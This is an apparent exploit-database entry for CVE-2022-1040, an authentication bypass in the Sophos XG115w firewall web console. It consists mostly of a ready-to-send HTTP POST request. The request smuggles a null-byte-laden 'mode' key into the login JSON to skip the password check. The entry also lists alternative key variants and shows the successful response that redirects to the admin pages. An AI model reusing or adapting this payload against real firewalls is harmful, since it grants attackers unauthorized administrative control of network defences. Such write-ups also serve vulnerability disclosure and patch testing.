Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass

# Exploit Title: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass
# Date: 2022-08-04
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.sophos.com
# Version: 17.0.10 MR-10
# Tested on: Windows 11
# CVE : CVE-2022-1040

# [ VULNERABILITY DETAILS ] :

#This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication.

# [ SAMPLE REQUEST ] :

POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066

# [ KEY MODE ] : \u0000eb ,\u0000fc , \u0000 ,\u0000ef ,...

# [ Successful response ] :

HTTP/1.1 200 OK
Date: Thu, 04 Aug 2022 17:06:39 GMT
Server: xxxx
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/plain;charset=utf-8
Content-Length: 53
Set-Cookie: JSESSIONID=1jy5ygk6w0mfu1mxbv6n30ptal108;Path=/webconsole;Secure;HttpOnly
Connection: close

{"redirectionURL":"/webpages/index.jsp","status":200}